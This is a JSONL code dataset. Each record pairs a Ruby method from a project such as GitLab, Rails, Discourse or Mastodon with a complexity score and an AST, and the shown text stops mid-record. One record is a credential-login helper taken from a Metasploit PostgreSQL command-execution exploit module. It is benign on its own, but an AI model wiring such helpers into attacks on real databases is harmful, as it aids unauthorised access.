{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/group_access_tokens/rotate_service.rb","start_line":10,"raw_source":"def valid_access_level?\n      return true if current_user.can_admin_all_resources?\n      return false unless current_user.can?(:manage_resource_access_tokens, group)\n\n      token_access_level = group.max_member_access_for_user(token.user).to_i\n      current_user_access_level = group.max_member_access_for_user(current_user).to_i\n\n      Authz::Role.access_level_encompasses?(\n        current_access_level: current_user_access_level,\n        level_to_assign: token_access_level\n      )\n    end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_access_level?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can_admin_all_resources?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_resource_access_tokens\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"token_access_level\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"max_member_access_for_user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"token\"]},\"user\"]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current_user_access_level\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"max_member_access_for_user\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Authz\"]},\"Role\"]},\"access_level_encompasses?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_access_level\"]},{\"type\":\"lvar\",\"children\":[\"current_user_access_level\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level_to_assign\"]},{\"type\":\"lvar\",\"children\":[\"token_access_level\"]}]}]}]}]}]}","id":"231dd411-7d6e-4d8d-bb2c-68620a7414b8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/sqlite3/schema_statements.rb","start_line":8,"raw_source":"def indexes(table_name)\n          internal_exec_query(\"PRAGMA index_list(#{quote_table_name(table_name)})\", \"SCHEMA\").filter_map do |row|\n            # Indexes SQLite creates implicitly for internal use start with \"sqlite_\".\n            # See https://www.sqlite.org/fileformat2.html#intschema\n            next if row[\"name\"].start_with?(\"sqlite_\")\n\n            index_sql = query_value(<<~SQL, \"SCHEMA\")\n              SELECT sql\n              FROM sqlite_master\n              WHERE name = #{quote(row['name'])} AND type = 'index'\n              UNION ALL\n              SELECT sql\n              FROM sqlite_temp_master\n              WHERE name = #{quote(row['name'])} AND type = 'index'\n            SQL\n\n            /\\bON\\b\\s*\"?(\\w+?)\"?\\s*\\((?<expressions>.+?)\\)(?:\\s*WHERE\\b\\s*(?<where>.+))?(?:\\s*\\/\\*.*\\*\\/)?\\z/i =~ index_sql\n\n            columns = internal_exec_query(\"PRAGMA index_info(#{quote(row['name'])})\", \"SCHEMA\").map do |col|\n              col[\"name\"]\n            end\n\n            where = where.sub(/\\s*\\/\\*.*\\*\\/\\z/, \"\") if where\n            orders = {}\n\n            if columns.any?(&:nil?) # index created with an expression\n              columns = expressions\n            else\n              # Add info on sort order for columns (only desc order is explicitly specified,\n              # asc is the default)\n              if index_sql # index_sql can be null in case of primary key indexes\n                index_sql.scan(/\"(\\w+)\" DESC/).flatten.each { |order_column|\n                  orders[order_column] = :desc\n                }\n              end\n            end\n\n            IndexDefinition.new(\n              table_name,\n              row[\"name\"],\n              row[\"unique\"] != 0,\n              columns,\n              where: where,\n              orders: orders\n            )\n          end\n        end","complexity_score":52.5,"ast_json":"{\"type\":\"def\",\"children\":[\"indexes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"internal_exec_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PRAGMA index_list(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]},{\"type\":\"str\",\"children\":[\"SCHEMA\"]}]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"start_with?\",{\"type\":\"str\",\"children\":[\"sqlite_\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"index_sql\",{\"type\":\"send\",\"children\":[null,\"query_value\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT sql\\n\"]},{\"type\":\"str\",\"children\":[\"FROM sqlite_master\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE name = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]},{\"type\":\"str\",\"children\":[\" AND type = 'index'\\n\"]},{\"type\":\"str\",\"children\":[\"UNION ALL\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT sql\\n\"]},{\"type\":\"str\",\"children\":[\"FROM sqlite_temp_master\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE name = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]},{\"type\":\"str\",\"children\":[\" AND type = 'index'\\n\"]}]},{\"type\":\"str\",\"children\":[\"SCHEMA\"]}]}]},{\"type\":\"match_with_lvasgn\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\bON\\\\b\\\\s*\\\"?(\\\\w+?)\\\"?\\\\s*\\\\((?<expressions>.+?)\\\\)(?:\\\\s*WHERE\\\\b\\\\s*(?<where>.+))?(?:\\\\s*/\\\\*.*\\\\*/)?\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"lvar\",\"children\":[\"index_sql\"]}]},{\"type\":\"lvasgn\",\"children\":[\"columns\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"internal_exec_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PRAGMA index_info(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]},{\"type\":\"str\",\"children\":[\"SCHEMA\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"where\"]},{\"type\":\"lvasgn\",\"children\":[\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"where\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s*/\\\\*.*\\\\*/\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"orders\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"nil?\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"columns\",{\"type\":\"lvar\",\"children\":[\"expressions\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_sql\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_sql\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"(\\\\w+)\\\" DESC\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"order_column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orders\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"order_column\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IndexDefinition\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"unique\"]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvar\",\"children\":[\"columns\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"lvar\",\"children\":[\"where\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"orders\"]},{\"type\":\"lvar\",\"children\":[\"orders\"]}]}]}]}]}]}]}","id":"e27ce8d1-dd24-477c-ac2c-338fb5184f40"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/jira.rb","start_line":313,"raw_source":"def web_url(path = nil, **params)\n      return '' unless url.present?\n\n      if Gitlab.com?\n        params.merge!(ATLASSIAN_REFERRER_GITLAB_COM) unless Gitlab.staging?\n      else\n        params.merge!(ATLASSIAN_REFERRER_SELF_MANAGED) unless Gitlab.dev_or_test_env?\n      end\n\n      url = Addressable::URI.parse(self.url)\n      url.path = url.path.delete_suffix('/')\n      url.path << \"/#{path.delete_prefix('/').delete_suffix('/')}\" if path.present?\n      url.query_values = (url.query_values || {}).merge(params)\n      url.query_values = nil if url.query_values.empty?\n\n      url.to_s\n    end","complexity_score":36.4,"ast_json":"{\"type\":\"def\",\"children\":[\"web_url\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"path\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"com?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"staging?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"merge!\",{\"type\":\"const\",\"children\":[null,\"ATLASSIAN_REFERRER_GITLAB_COM\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"dev_or_test_env?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"merge!\",{\"type\":\"const\",\"children\":[null,\"ATLASSIAN_REFERRER_SELF_MANAGED\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"url\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"path=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"path\"]},\"delete_suffix\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"path\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"delete_prefix\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"delete_suffix\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"query_values=\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"query_values\"]},{\"type\":\"hash\",\"children\":[]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"query_values\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"query_values=\",{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"to_s\"]}]}]}","id":"62af4bf8-0a2d-43dc-9a4c-96235a2f09f6"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/inflector_test.rb","start_line":162,"raw_source":"def test_camelize_with_nil_downcases_the_first_letter\n    assert_equal(\"capital\", ActiveSupport::Inflector.camelize(\"Capital\", nil))\n    assert_equal(\"capital\", ActiveSupport::Inflector.camelize(\"capital\", nil))\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_camelize_with_nil_downcases_the_first_letter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"capital\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"camelize\",{\"type\":\"str\",\"children\":[\"Capital\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"capital\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"camelize\",{\"type\":\"str\",\"children\":[\"capital\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"1bae7017-e9eb-45d3-88ca-0c91f1431440"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/groups/cleanup_inherited_roles_service.rb","start_line":42,"raw_source":"def initialize(group, current_user:, contract_class: AdminOnlyContract)\n      self.model = group\n\n      super(user: current_user,\n            contract_class:)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"kwarg\",\"children\":[\"current_user\"]},{\"type\":\"kwoptarg\",\"children\":[\"contract_class\",{\"type\":\"const\",\"children\":[null,\"AdminOnlyContract\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"model=\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contract_class\"]},{\"type\":\"lvar\",\"children\":[\"contract_class\"]}]}]}]}]}]}","id":"f09ae8e9-48ab-4acb-bdcf-1cf253e38356"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/ci/job_helpers.rb","start_line":5,"raw_source":"def stub_ci_job_definition(job, **new_config)\n      new_config.symbolize_keys!\n      unknown_keys = new_config.keys - Ci::JobDefinition::CONFIG_ATTRIBUTES\n\n      if unknown_keys.any?\n        raise ArgumentError,\n          \"You can only stub valid job definition config attributes. Invalid key(s): #{unknown_keys.join(', ')}. \" \\\n            \"Allowed: #{Ci::JobDefinition::CONFIG_ATTRIBUTES.join(', ')}\"\n      end\n\n      # We use regular merge (not deep_merge) to completely overwrite existing attributes\n      updated_config = (job.job_definition&.config || job.temp_job_definition&.config || {}).merge(new_config)\n\n      new_job_definition = ::Ci::JobDefinition.fabricate(\n        config: updated_config,\n        project_id: job.pipeline.project.id,\n        partition_id: job.pipeline.partition_id\n      )\n\n      new_job_definition.validate\n      config_errors = new_job_definition.errors[:config]\n      raise ActiveRecord::RecordInvalid, config_errors.join(', ') if config_errors.any?\n\n      allow(job).to receive(:job_definition).and_return(new_job_definition)\n    end","complexity_score":42.6,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_ci_job_definition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]},{\"type\":\"kwrestarg\",\"children\":[\"new_config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_config\"]},\"symbolize_keys!\"]},{\"type\":\"lvasgn\",\"children\":[\"unknown_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_config\"]},\"keys\"]},\"-\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"JobDefinition\"]},\"CONFIG_ATTRIBUTES\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unknown_keys\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"You can only stub valid job definition config attributes. Invalid key(s): \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unknown_keys\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\". \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Allowed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"JobDefinition\"]},\"CONFIG_ATTRIBUTES\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"updated_config\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"job_definition\"]},\"config\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"temp_job_definition\"]},\"config\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"new_config\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_job_definition\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"JobDefinition\"]},\"fabricate\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"lvar\",\"children\":[\"updated_config\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"pipeline\"]},\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partition_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"pipeline\"]},\"partition_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_job_definition\"]},\"validate\"]},{\"type\":\"lvasgn\",\"children\":[\"config_errors\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_job_definition\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"config\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_errors\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_errors\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"job\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"job_definition\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"new_job_definition\"]}]}]}]}]}","id":"4d46cffe-e6d3-429d-8d1b-c72959d60f8c"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/metafield.rb","start_line":47,"raw_source":"def type_must_match_metafield_definition\n      return if metafield_definition.blank?\n\n      errors.add(:type, 'must match metafield definition') unless type == metafield_definition.metafield_type\n    end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"type_must_match_metafield_definition\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metafield_definition\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metafield_definition\"]},\"metafield_type\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"must match metafield definition\"]}]}]}]}]}","id":"85b03f7c-18dd-49ab-9276-25bd9f7d7dfd"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_webhooks.rb","start_line":19,"raw_source":"def has_webhook_details?(url)\n        page.has_css?(summary_selector, text: url)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_webhook_details?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"send\",\"children\":[null,\"summary_selector\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]}]}","id":"eeeec130-452f-4905-9e60-ef8a2987a0a6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/severed_relationships_controller.rb","start_line":28,"raw_source":"def set_event\n    @event = AccountRelationshipSeveranceEvent.find(params[:id])\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@event\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AccountRelationshipSeveranceEvent\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"15fb3524-7239-4958-98d9-34e2b29b8857"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb","start_line":227,"raw_source":"def do_login(user, pass, database)\n    begin\n      password = pass || postgres_password\n      result = postgres_fingerprint(\n        db: database,\n        username: user,\n        password: password\n      )\n\n      return result[:auth] if result[:auth]\n\n      print_error \"#{peer} - Login failed\"\n      return :noauth\n    rescue Rex::ConnectionError\n      return :noconn\n    end\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"do_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"pass\"]},{\"type\":\"arg\",\"children\":[\"database\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},{\"type\":\"send\",\"children\":[null,\"postgres_password\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"postgres_fingerprint\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"lvar\",\"children\":[\"database\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auth\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auth\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Login failed\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"noauth\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"noconn\"]}]}]},null]}]}]}","id":"4aad6201-5400-4535-808a-baf8795bdea7"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/holidays/date_calculator/lunar_date.rb","start_line":8,"raw_source":"def to_solar(year, month, day, region)\n        days = 0\n        year_diff = year - 1900\n        year_info = CALENDAR_YEAR_INFO_MAP[region]\n\n        year_diff.times do |year_idx|\n          days += year_info[year_idx][0]\n        end\n\n        (month - 1).times do |month_idx|\n          total, _normal, _leap = lunardays_for_type(year_info[year_diff][month_idx + 1])\n          days += total\n        end\n\n        days += (day - 1)\n\n        SOLAR_START_DATE + days\n      